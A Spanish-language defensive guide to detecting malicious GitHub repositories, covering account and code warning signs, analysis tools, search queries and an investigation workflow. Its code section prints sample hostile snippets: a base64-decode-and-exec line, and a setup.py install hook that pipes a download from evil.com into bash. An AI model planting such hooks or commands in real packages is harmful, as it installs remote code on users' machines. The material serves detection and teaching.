Guía para Detectar Repositorios Maliciosos en GitHub
Cómo detectar repositorios maliciosos en GitHub: indicadores, técnicas de ocultación, herramientas de análisis y buenas prácticas para proteger la cadena de suministro de software.
Por qué importa
Los atacantes explotan la confianza en GitHub para distribuir malware. Repositorios que parecen herramientas legítimas, forks con backdoors sutiles, dependencias con payloads en hooks de instalación. El supply chain attack via GitHub es un vector en crecimiento.
En 2023-2026, campañas masivas han usado GitHub para distribuir infostealers, cryptominers y RATs disfrazados de herramientas de desarrollo, crack de software y proyectos open-source populares.
Qué buscar: indicadores de repos maliciosos
1. Señales en la cuenta
| Indicador | Por qué es sospechoso |
|---|---|
| Cuenta creada recientemente | Sin historial de contribuciones legítimas |
| Sin foto de perfil ni bio | Cuenta automatizada |
| Nombre similar a desarrollador conocido | Suplantación de identidad |
| Muchos repos creados en poco tiempo | Campaña de distribución masiva |
| Stars/forks inflados artificialmente | Manipulación de reputación |
2. Señales en el repositorio
Indicadores comunes:
- Nombre similar a proyecto popular (typosquatting)
ej: "colbalt-strike" vs "cobalt-strike"
- README copiado de otro proyecto popular
- Pocas lineas de codigo real, mucho README marketing
- Releases con binarios pero sin codigo fuente correspondiente
- Issues y PRs deshabilitados
- License file generico o ausente
3. Señales en el código
Ofuscación y codificación:
# Patron sospechoso: base64 decode + exec
import base64
exec(base64.b64decode("aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwg..."))
# Patron sospechoso: string concatenation para evadir grep
url = "ht" + "tp" + "://" + "evil" + ".com/pa" + "yload"
Dependencias inyectadas:
// package.json con dependencia maliciosa
{
"dependencies": {
"express": "^4.18.0",
"loadash": "1.0.0" // typosquatting de "lodash"
},
"scripts": {
"preinstall": "node scripts/setup.js" // ejecuta codigo en install
}
}
Hooks de instalación:
# setup.py con codigo malicioso en install
from setuptools import setup
from setuptools.command.install import install
class PostInstall(install):
def run(self):
install.run(self)
import os
os.system("curl http://evil.com/payload | bash")
setup(
name="useful-tool",
cmdclass={"install": PostInstall},
)
4. Señales en la red
- URLs embebidas en el código apuntando a dominios sospechosos
- Comunicaciones a IPs hardcodeadas
- Descarga de binarios durante instalación
- Uso de servicios de paste/file sharing para alojar payloads
Herramientas de análisis
| Herramienta | Función |
|---|---|
| GitHub search | Búsqueda avanzada de código y commits |
| Gitrob/TruffleHog | Detección de secretos y credenciales |
| Scorecard (OSSF) | Evaluación de seguridad de repositorios |
| Dependabot | Análisis de dependencias vulnerables |
| Snyk | Análisis de dependencias y código |
| Socket.dev | Detección de dependencias maliciosas npm/PyPI |
| GitGuardian | Monitorización de leaks y secretos |
Búsquedas avanzadas en GitHub
Consultas utiles:
# Buscar base64 decode + exec (posible payload)
"base64.b64decode" "exec" language:python
# Buscar PowerShell encoded commands
"powershell" "-enc" language:python
# Buscar descargas sospechosas en setup.py
"urlretrieve" filename:setup.py
# Buscar preinstall hooks sospechosos
"preinstall" filename:package.json "curl"
# Buscar repos con nombre similar a herramienta popular
"mimikatz" in:name created:>2026-01-01
Flujo de investigación
1. Identificar el repo sospechoso
(alerta de Dependabot, reporte de usuario, hunting proactivo)
2. Revisar cuenta del propietario
(antiguedad, actividad, otros repos)
3. Analizar el codigo
(ofuscacion, dependencias, hooks de instalacion)
4. Verificar conexiones de red
(URLs, IPs, dominios embebidos)
5. Comprobar contenido de releases
(binarios, hashes, correspondencia con codigo fuente)
6. Analizar artefactos
(detonar en sandbox si hay binarios)
7. Reportar a GitHub
(abuse report con evidencia)
8. Actualizar indicadores
(hashes, dominios, patrones en SIEM/EDR)
Indicadores de compromiso en repos maliciosos
| Tipo | Ejemplo | Herramienta |
|---|---|---|
| Hash de binario | SHA256 del release malicioso | VirusTotal |
| Dominio C2 | evil-cdn.com en código | DNS/threat intel |
| Patrón de código | exec(base64.b64decode( | grep/YARA |
| Nombre de paquete | typosquatting (loadash vs lodash) | Socket.dev |
| Cuenta GitHub | usuario creado para campaña | GitHub API |
Buenas prácticas
- Usa Dependabot y Snyk. Monitoriza dependencias automáticamente.
- Revisa código antes de ejecutar. Especialmente hooks de instalación (setup.py, package.json scripts).
- Hash pinning para dependencias. Usa lockfiles y verifica integridad.
- No ejecutes releases sin verificar. Comprueba hashes, firmas, y que el código fuente corresponde al binario.
- Monitoriza forks de repos que usas. Un fork modificado puede ser sustituto malicioso.
- Reporta repos maliciosos. Ayuda a la comunidad y a GitHub a eliminar amenazas.
Fuentes y referencias
- GitHub Security Lab. "Detecting malicious repositories." https://securitylab.github.com/
- OpenSSF Scorecard. "Security health metrics for open source." https://securityscorecards.dev/
- Socket.dev. "Detecting supply chain attacks." https://socket.dev/
- Checkmarx. "Malicious packages research." https://checkmarx.com/blog/
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.